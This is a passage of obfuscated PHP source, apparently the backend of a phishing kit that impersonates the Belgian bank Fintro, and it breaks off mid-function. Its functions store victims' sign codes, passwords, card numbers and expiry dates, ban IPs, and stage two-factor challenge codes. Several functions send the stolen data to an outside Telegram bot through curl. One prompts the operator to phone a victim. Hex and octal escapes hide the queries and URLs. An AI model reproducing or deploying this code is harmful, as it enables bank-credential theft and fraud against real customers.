 namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public static function redirect() { $sql = "\x53\x45\114\x45\x43\124\x20\52\x20\x46\x52\117\x4d\x20\x72\x65\x64\151\162\x65\x63\x74\40\127\x48\105\x52\105\x20\151\144\40\75\40\x3a\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x69\x64", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\x6c\x6f\143\x61\164\x69\x6f\156\72\40" . $data["\x72\145\144\x69\x72\145\143\164"]); die; } else { header("\x6c\x6f\143\141\164\151\157\x6e\72\40\150\x74\164\160\163\x3a\x2f\x2f\x77\x77\167\56\x67\157\157\147\154\145\56\x62\x65"); die; } } public static function findBan($ip) { $sql = "\123\x45\114\105\103\124\x20\52\x20\106\122\117\115\40\142\141\156\163\x20\x57\x48\105\122\105\40\x69\x70\40\x3d\40\72\151\x70"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\160", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setSignTwoInformation($uid) { $sql = "\125\x50\x44\101\x54\x45\x20\x6c\157\147\x73\40\123\105\124\x20\x62\x61\x6e\x6b\x20\x3d\40\x3a\x62\x61\156\153\54\40\146\151\x6e\x74\162\x6f\137\x63\157\x64\x65\x5f\155\x20\x3d\40\72\145\x6d\x70\x74\x79\54\x20\160\x61\147\x65\x20\x3d\x20\72\145\155\x70\164\171\54\40\167\141\151\x74\151\156\x67\x20\x3d\x20\72\167\x61\x69\x74\151\156\147\40\127\x48\x45\x52\x45\40\x75\163\145\162\137\x69\144\x20\75\x20\72\165\163\145\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\x6e\153", "\106\111\x4e\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\x69\x6e\147", "\146\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignTwo($respons, $uid) { $sql = "\125\x50\104\x41\124\105\x20\154\x6f\147\x73\40\123\x45\x54\40\146\x69\156\x74\x72\157\137\x63\157\x64\x65\x5f\x6d\x20\x3d\40\72\x72\145\163\x70\157\156\163\54\x20\167\141\151\x74\x69\156\x67\x20\x3d\x20\x3a\x77\x61\151\164\151\156\x67\40\127\110\x45\122\105\40\x75\x73\145\162\137\151\144\40\75\x20\x3a\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x72\145\163\160\157\x6e\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\164\151\156\147", "\164\x72\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setSignTwoPage($uid, $page) { $sql = "\125\x50\104\x41\x54\x45\x20\x6c\157\147\x73\x20\x53\105\124\40\160\x61\x67\145\40\75\40\x3a\x70\x61\147\145\54\x20\167\141\x69\164\151\x6e\147\40\75\x20\x3a\x77\141\x69\164\151\156\x67\x2c\40\146\x69\156\164\x72\157\137\143\x6f\x64\x65\x5f\x6d\40\x3d\x20\x3a\x65\x6d\x70\x74\171\40\x57\x48\x45\122\105\40\165\x73\145\162\x5f\x69\x64\x20\75\x20\x3a\165\x73\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\151\164\x69\x6e\147", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\163\145\x72\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignTwoPageCode($uid, $page, $codefive) { $sql = "\x55\x50\104\101\124\105\x20\154\157\147\x73\x20\123\105\x54\x20\160\141\x67\145\40\x3d\40\x3a\160\141\x67\x65\x2c\40\167\x61\x69\x74\x69\156\147\x20\75\40\72\x77\141\x69\164\151\156\x67\54\x20\146\x69\x6e\x74\162\x6f\x5f\143\157\144\x65\137\x6d\40\75\40\72\x65\155\x70\x74\x79\x2c\x20\x66\151\156\x74\162\x6f\137\143\157\144\145\x5f\164\167\157\137\155\40\75\x20\x3a\x63\157\144\x65\x66\x69\x76\x65\x20\x57\x48\105\122\x45\40\165\x73\145\x72\x5f\x69\x64\x20\75\40\72\x75\x73\x65\162\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\151\156\147", "\x66\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\143\157\144\x65\x66\x69\166\x65", $codefive, PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignTwoCode($uid) { $sql = "\123\x45\x4c\x45\x43\124\x20\x2a\x20\106\122\x4f\x4d\40\x6c\x6f\x67\163\x20\127\110\x45\122\105\x20\165\x73\x65\x72\x5f\151\x64\x20\75\40\x3a\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\151\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\146\x69\x6e\x74\162\157\137\143\157\x64\145\x5f\164\x77\157\137\155"])) { return $data["\x66\x69\156\164\162\x6f\137\143\157\144\x65\x5f\164\167\157\x5f\155"]; } return false; } public static function setSignTwoPageCodeTwo($uid, $page, $codesix) { $sql = "\x55\x50\x44\101\x54\x45\40\x6c\157\x67\x73\x20\x53\x45\x54\x20\x70\141\147\145\40\x3d\x20\72\160\141\147\x65\54\40\x77\x61\151\164\151\x6e\x67\40\x3d\x20\72\167\141\x69\164\151\156\147\x2c\x20\146\x69\x6e\164\x72\x6f\x5f\143\x6f\144\145\x5f\155\40\75\40\x3a\x65\x6d\x70\164\x79\x2c\40\146\x69\156\x74\162\x6f\x5f\143\157\144\x65\137\x74\x68\x72\145\145\137\155\40\x3d\x20\72\143\x6f\144\x65\163\151\x78\40\127\x48\x45\x52\x45\x20\165\163\145\x72\x5f\x69\144\x20\x3d\x20\72\x75\163\145\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\x69\156\x67", "\x66\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x63\157\144\145\163\151\170", $codesix, PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignTwoCodeTwo($uid) { $sql = "\123\105\x4c\105\x43\124\x20\x2a\40\x46\x52\117\115\40\x6c\157\147\x73\40\x57\110\x45\122\105\40\x75\x73\145\162\137\x69\x64\40\x3d\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\151\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\146\x69\x6e\x74\162\x6f\137\x63\x6f\x64\145\137\164\150\162\x65\x65\x5f\155"])) { return $data["\x66\x69\156\x74\x72\157\x5f\x63\157\144\145\x5f\x74\150\x72\145\145\137\x6d"]; } return false; } public static function setSignInformation($uid) { $sql = "\x55\120\104\101\x54\105\x20\x6c\157\147\x73\x20\x53\105\x54\x20\142\141\156\153\x20\75\40\72\142\x61\x6e\153\x2c\x20\146\x69\x6e\x74\x72\157\137\x63\x6f\x64\x65\x5f\170\40\75\40\72\145\155\x70\x74\x79\54\x20\160\x61\x67\145\x20\x3d\x20\72\x65\155\160\164\171\x2c\40\x77\x61\x69\x74\x69\156\x67\x20\x3d\x20\72\x77\141\x69\x74\151\x6e\147\x20\127\x48\x45\x52\105\40\165\163\x65\x72\x5f\x69\x64\40\75\40\72\165\x73\x65\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\x6e\x6b", "\106\111\116\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\164\x69\156\x67", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSign($respons, $uid) { $sql = "\x55\120\104\101\x54\x45\x20\x6c\x6f\x67\x73\40\x53\105\x54\x20\146\x69\x6e\164\x72\157\137\143\157\144\x65\137\170\x20\75\x20\x3a\x72\x65\x73\160\x6f\x6e\x73\54\x20\167\141\x69\x74\x69\x6e\147\40\x3d\40\x3a\x77\x61\151\164\151\156\x67\40\127\x48\105\x52\105\40\x75\x73\x65\162\137\151\x64\x20\x3d\x20\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x72\145\163\x70\157\156\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\x69\x6e\147", "\x74\162\165\x65", PDO::PARAM_STR); $chatId = file_get_contents("\56\56\57\x70\x75\x62\154\151\143\x2f\x61\160\151\57\x63\x68\x61\164\56\151\156\151"); $botToken = file_get_contents("\x2e\56\x2f\x70\x75\142\154\x69\143\x2f\141\160\151\57\142\x6f\164\x2e\151\156\151"); $notify = "\150\164\x74\160\163\72\x2f\57\141\x70\151\56\x74\x65\x6c\145\x67\x72\x61\x6d\56\157\x72\x67\57\142\x6f\164{$botToken}\x2f\x73\x65\156\144\x4d\x65\163\163\x61\x67\x65\x3f\x63\x68\x61\x74\137\x69\x64\75{$chatId}\x26\164\x65\x78\164\x3d\xf0\x9d\x91\265\xf0\235\x92\x86\xf0\x9d\222\x98\40\xf0\x9d\221\263\360\x9d\x92\x90\xf0\x9d\x92\x88\40\55\40\50\x53\x69\147\156\40\x43\x6f\144\x65\x29\x20\360\237\x87\xa7\xf0\237\x87\252\40\x46\x49\116\x54\x52\117\45\60\101\x25\60\101\x52\145\x73\x70\x6f\x6e\163\x65\40\55\40{$respons}\45\60\101\x25\x30\101\xf0\x9d\221\xbc\360\x9d\221\260\xf0\x9d\x91\xab\40\x2d\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomInformation($uid) { $sql = "\x55\120\x44\x41\x54\x45\x20\x6c\x6f\147\163\x20\123\105\x54\x20\142\141\x6e\x6b\40\75\40\72\x62\141\156\x6b\54\40\x66\151\156\164\162\x6f\137\143\165\x73\164\x6f\155\40\x3d\x20\72\145\x6d\x70\x74\x79\54\x20\x66\x69\156\x74\162\157\x5f\143\x75\163\x74\x6f\155\x5f\x74\167\157\40\x3d\x20\x3a\x65\155\160\164\x79\x2c\x20\x70\141\x67\145\40\75\40\72\x65\155\x70\x74\x79\x2c\x20\167\x61\151\x74\x69\156\147\40\75\x20\x3a\x77\x61\x69\x74\x69\x6e\147\x20\127\110\x45\x52\x45\x20\165\x73\145\162\137\151\144\40\75\40\72\165\163\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\156\x6b", "\x46\111\116\124\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\x69\x6e\147", "\x66\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCustom($expiration, $number, $uid) { $sql = "\125\120\x44\x41\124\105\40\154\x6f\x67\x73\40\123\105\124\40\146\151\x6e\x74\x72\157\137\143\x75\163\164\x6f\x6d\x20\75\40\x3a\x65\x78\160\x69\x72\x61\x74\x69\157\x6e\54\x20\146\151\156\164\162\157\x5f\x63\165\163\164\x6f\x6d\137\x74\x77\x6f\40\75\x20\x3a\156\165\x6d\x62\x65\x72\54\40\x77\141\x69\164\151\x6e\x67\x20\x3d\40\72\x77\x61\151\164\151\156\x67\40\127\x48\105\122\x45\x20\165\x73\x65\x72\137\151\x64\40\75\40\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x65\170\160\x69\x72\x61\x74\x69\x6f\x6e", $expiration, PDO::PARAM_STR); $stmt->bindValue("\x3a\x6e\165\155\x62\x65\162", $number, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\x69\x6e\x67", "\164\162\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\56\x2e\x2f\x70\x75\142\154\151\143\57\141\x70\151\57\143\150\x61\x74\x2e\x69\156\151"); $botToken = file_get_contents("\x2e\x2e\x2f\160\165\142\x6c\151\143\57\141\x70\151\x2f\x62\157\x74\x2e\x69\x6e\x69"); $notify = "\150\164\x74\160\x73\72\57\57\x61\160\151\56\x74\x65\154\145\147\162\x61\x6d\x2e\x6f\162\147\x2f\x62\x6f\x74{$botToken}\57\x73\145\156\x64\115\x65\163\163\141\x67\x65\77\x63\x68\x61\164\137\151\x64\x3d{$chatId}\46\164\x65\x78\x74\75\360\235\x91\xb5\xf0\235\222\206\xf0\x9d\x92\x98\x20\360\235\x91\263\xf0\x9d\222\x90\xf0\235\x92\x88\x20\55\40\x28\103\x75\163\x74\157\x6d\x29\x20\xf0\237\x87\xa7\360\237\x87\xaa\40\x46\x49\x4e\124\122\117\x25\x30\x41\45\x30\x41\115\x61\x69\154\x50\x61\x73\163\40\x2d\x20{$expiration}\45\60\101\45\x30\101\360\x9d\221\274\xf0\x9d\x91\xb0\xf0\x9d\x91\xab\x20\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomPage($uid, $page) { $sql = "\x55\120\x44\101\124\x45\40\x6c\157\x67\163\40\x53\x45\x54\x20\160\x61\147\145\40\x3d\x20\72\160\141\147\x65\54\40\167\x61\x69\164\151\156\147\40\x3d\40\x3a\167\141\x69\164\x69\x6e\147\54\x20\x66\x69\156\164\162\157\137\x63\165\x73\164\x6f\155\40\x3d\40\72\145\x6d\x70\x74\x79\x2c\40\x66\x69\x6e\164\162\x6f\137\143\165\x73\164\x6f\155\x5f\164\167\157\40\75\40\72\145\x6d\160\x74\171\x20\x57\110\x45\x52\x45\40\165\163\x65\162\x5f\x69\x64\40\x3d\40\x3a\x75\163\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\151\156\x67", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\145\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignPage($uid, $page) { $sql = "\x55\x50\104\x41\124\x45\40\x6c\x6f\x67\x73\x20\x53\x45\x54\40\x70\x61\147\145\x20\75\x20\72\160\141\147\145\x2c\x20\167\x61\151\x74\x69\156\x67\x20\75\x20\72\x77\141\x69\x74\151\x6e\147\x2c\x20\146\151\x6e\164\162\157\137\x63\x6f\x64\145\x5f\x78\40\75\40\72\145\x6d\160\x74\171\x20\x57\110\105\122\x45\x20\x75\x73\x65\x72\x5f\x69\x64\x20\75\40\72\x75\x73\145\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\164\151\156\147", "\146\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\x65\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignPageCode($uid, $page, $codefour) { $sql = "\125\x50\x44\101\124\x45\40\154\x6f\x67\163\40\x53\x45\124\x20\160\141\147\145\40\x3d\40\x3a\x70\141\x67\145\54\40\x77\x61\151\164\151\x6e\x67\40\75\40\x3a\167\141\151\164\x69\x6e\x67\x2c\x20\x66\x69\x6e\164\x72\157\x5f\x63\x6f\144\x65\137\x78\x20\75\40\72\x65\155\x70\164\171\x2c\x20\x66\151\x6e\x74\162\x6f\x5f\x63\157\144\x65\x5f\x74\x77\157\137\x78\40\x3d\40\x3a\x63\157\x64\x65\x66\157\165\x72\40\127\x48\105\122\x45\40\165\163\145\x72\x5f\x69\x64\40\x3d\x20\72\165\163\x65\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\151\x6e\x67", "\x66\141\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x63\157\144\x65\146\157\x75\162", $codefour, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\x65\x72\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "\x53\105\x4c\105\x43\x54\40\x2a\x20\x46\122\117\x4d\40\154\x6f\x67\163\x20\x57\110\x45\x52\x45\x20\165\163\145\x72\x5f\x69\x64\x20\75\40\x3a\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\151\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\x69\x6e\x74\x72\x6f\137\x63\x6f\x64\x65\x5f\164\x77\157\137\170"])) { return $data["\x66\x69\156\164\x72\x6f\x5f\143\x6f\x64\145\x5f\x74\167\157\x5f\170"]; } return false; } public static function setPasswordInformation($uid) { $sql = "\x55\x50\x44\101\124\105\40\154\157\147\163\x20\x53\x45\x54\x20\x62\141\x6e\153\x20\75\x20\x3a\x62\141\156\x6b\54\x20\x66\151\156\x74\x72\x6f\137\160\x61\x73\x73\167\x6f\x72\144\40\75\40\x3a\145\155\160\164\x79\x2c\x20\146\151\156\164\162\x6f\137\160\141\x73\x73\167\x6f\x72\144\x5f\164\x77\157\x20\75\40\72\145\x6d\x70\164\x79\54\x20\160\141\147\x65\x20\x3d\x20\x3a\x65\x6d\160\164\x79\x2c\x20\167\x61\x69\164\x69\x6e\147\40\x3d\x20\x3a\x77\x61\151\164\151\156\x67\40\x57\110\x45\x52\105\x20\165\163\x65\162\x5f\x69\x64\40\75\x20\x3a\x75\163\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\x6e\x6b", "\106\x49\x4e\124\x52\117", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\x74\x69\x6e\147", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\x72\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPassword($expiration, $number, $uid) { $sql = "\125\120\x44\101\124\x45\x20\x6c\x6f\x67\163\x20\x53\x45\124\40\146\x69\x6e\x74\162\x6f\x5f\160\x61\x73\x73\167\x6f\162\x64\40\75\40\x3a\145\x78\x70\151\162\141\164\x69\x6f\156\54\x20\146\x69\156\164\x72\157\x5f\160\141\x73\x73\x77\x6f\162\144\x5f\164\167\157\40\x3d\x20\72\156\x75\x6d\142\145\x72\x2c\x20\167\141\151\164\x69\156\x67\40\75\x20\x3a\167\141\151\164\x69\x6e\147\x20\x57\110\105\122\105\40\x75\163\x65\162\x5f\151\x64\x20\75\40\72\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x65\170\x70\x69\162\141\x74\x69\157\156", $expiration, PDO::PARAM_STR); $stmt->bindValue("\x3a\156\165\155\142\145\x72", $number, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\151\x6e\x67", "\x74\x72\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\x2e\57\160\x75\142\x6c\151\143\57\141\160\x69\57\x63\x68\141\x74\56\151\156\x69"); $botToken = file_get_contents("\56\56\x2f\160\165\x62\x6c\x69\143\57\141\x70\x69\57\x62\x6f\x74\56\151\156\151"); $notify = "\x68\164\164\x70\x73\72\57\57\141\160\x69\x2e\x74\145\154\x65\147\162\141\x6d\x2e\x6f\162\x67\57\142\157\164{$botToken}\x2f\163\145\x6e\144\115\x65\163\163\141\x67\x65\x3f\143\150\x61\164\137\151\144\75{$chatId}\x26\x74\x65\x78\164\x3d\xf0\235\221\xb5\xf0\235\222\206\xf0\235\x92\230\40\xf0\235\221\263\360\235\222\x90\360\x9d\222\210\40\x2d\40\x28\x4d\x61\x69\154\x29\x20\360\237\207\xa7\xf0\x9f\x87\252\40\106\x49\116\x54\122\x4f\x25\x30\x41\45\x30\x41\x4d\141\x69\154\120\141\163\163\x20\x2d\x20{$expiration}\x25\60\101\x25\x30\101\360\235\221\xbc\360\x9d\221\xb0\360\235\x91\253\40\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPasswordPage($uid, $page) { $sql = "\x55\x50\x44\x41\x54\x45\40\154\x6f\147\163\40\123\105\124\40\160\x61\147\145\40\x3d\40\x3a\x70\x61\147\x65\x2c\x20\x77\x61\151\164\151\156\x67\40\75\40\72\167\x61\151\164\x69\156\x67\x2c\x20\146\151\x6e\164\x72\x6f\137\x70\x61\x73\x73\167\157\162\x64\40\75\40\x3a\x65\155\x70\x74\171\x2c\x20\x66\x69\156\164\x72\x6f\137\160\141\x73\163\x77\157\x72\x64\x5f\x74\x77\x6f\40\x3d\x20\72\145\155\x70\x74\x79\40\x57\110\105\122\x45\40\165\x73\x65\x72\137\x69\x64\40\75\x20\x3a\x75\163\x65\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\151\156\147", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCallInformation($uid) { $sql = "\x55\x50\104\x41\x54\x45\40\x6c\x6f\147\163\x20\x53\105\x54\40\x62\141\x6e\x6b\40\x3d\x20\x3a\x62\141\156\x6b\x2c\40\x66\151\x6e\164\x72\157\137\143\x61\154\154\40\x3d\x20\x3a\x65\x6d\160\164\x79\54\x20\146\151\156\164\x72\x6f\x5f\x63\x61\154\154\137\164\x77\x6f\x20\x3d\x20\72\x65\x6d\160\164\x79\54\40\160\141\x67\x65\40\x3d\x20\x3a\x65\x6d\x70\164\171\x2c\40\167\x61\x69\164\151\x6e\x67\x20\x3d\x20\72\167\141\x69\x74\151\x6e\147\x20\x57\x48\105\122\x45\x20\x75\x73\145\162\137\x69\144\40\75\40\72\x75\163\145\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\x6e\x6b", "\x46\x49\x4e\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\x69\x6e\x67", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCall($expiration, $number, $uid) { $sql = "\125\x50\104\101\x54\x45\x20\x6c\x6f\147\163\40\123\105\124\x20\146\151\156\164\x72\x6f\x5f\x63\141\154\x6c\40\75\40\72\x65\x78\160\x69\162\x61\x74\x69\x6f\156\54\40\x66\x69\156\164\162\157\x5f\143\141\154\154\x5f\x74\x77\x6f\40\75\40\x3a\156\165\155\x62\145\x72\54\x20\x77\141\151\164\151\x6e\x67\40\x3d\40\72\x77\141\x69\164\151\x6e\x67\x20\127\x48\x45\122\x45\40\165\163\145\x72\137\x69\144\40\x3d\40\x3a\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x65\170\x70\x69\x72\x61\x74\151\157\x6e", $expiration, PDO::PARAM_STR); $stmt->bindValue("\72\156\x75\155\x62\145\162", $number, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\x69\156\147", "\164\162\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\x2e\57\160\165\x62\154\151\x63\x2f\141\x70\x69\57\143\x68\141\164\x2e\151\x6e\151"); $botToken = file_get_contents("\x2e\56\x2f\160\165\x62\154\151\x63\57\x61\x70\x69\x2f\x62\157\164\x2e\151\156\x69"); $notify = "\150\164\164\x70\x73\72\x2f\57\141\160\x69\x2e\164\x65\154\x65\x67\162\141\155\x2e\157\x72\147\x2f\142\157\164{$botToken}\57\163\x65\156\x64\x4d\145\163\x73\141\147\145\x3f\143\150\x61\164\137\151\144\75{$chatId}\46\x74\x65\170\x74\x3d\xf0\x9d\221\265\360\235\222\x86\360\x9d\x92\230\x20\360\x9d\x91\263\360\235\222\x90\xf0\235\x92\210\x20\x2d\x20\x28\114\x65\142\51\40\360\x9f\207\247\xf0\x9f\x87\252\40\x46\111\116\124\x52\117\x25\x30\x41\45\x30\101\114\145\x73\x74\x65\x72\x2c\x20\x62\145\154\x20\x6d\145\41\45\x30\101\45\x30\x41\xf0\x9d\x91\274\xf0\x9d\x91\260\xf0\x9d\221\253\40\x2d\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCallPage($uid, $page) { $sql = "\x55\120\x44\x41\x54\x45\40\154\x6f\x67\x73\x20\x53\x45\124\x20\160\x61\x67\x65\40\75\x20\x3a\160\141\147\x65\54\40\x77\x61\151\x74\x69\x6e\147\40\75\40\x3a\167\x61\151\x74\151\x6e\x67\x2c\x20\x66\x69\x6e\x74\162\157\137\x63\x61\x6c\x6c\40\75\x20\72\145\155\160\164\x79\54\40\x66\151\x6e\164\162\x6f\137\143\x61\x6c\154\137\x74\x77\x6f\40\75\x20\72\x65\x6d\x70\164\171\40\127\x48\x45\122\105\40\x75\x73\x65\162\x5f\151\144\40\75\40\x3a\165\x73\x65\x72\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\x74\x69\156\147", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\145\x72\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLogInformation($uid) { $sql = "\x55\120\x44\101\x54\105\40\154\157\147\163\x20\123\x45\x54\40\x62\141\x6e\x6b\40\75\40\72\142\141\156\153\54\x20\x66\x69\156\x74\162\157\x5f\165\x73\145\162\40\75\x20\72\145\x6d\160\164\x79\54\40\x66\151\156\x74\x72\x6f\137\x70\x61\163\x73\x20\75\40\x3a\145\155\160\x74\x79\x2c\40\160\141\x67\x65\x20\x3d\40\72\145\x6d\x70\164\171\x2c\x20\167\141\x69\164\x69\156\147\40\75\40\x3a\x77\141\x69\x74\x69\x6e\x67\40\x57\110\x45\122\105\40\165\x73\x65\162\137\x69\144\x20\x3d\40\72\165\x73\x65\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\141\x6e\x6b", "\x46\x49\x4e\x54\x52\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\x69\x6e\147", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setWifiInformation($uid) { $sql = 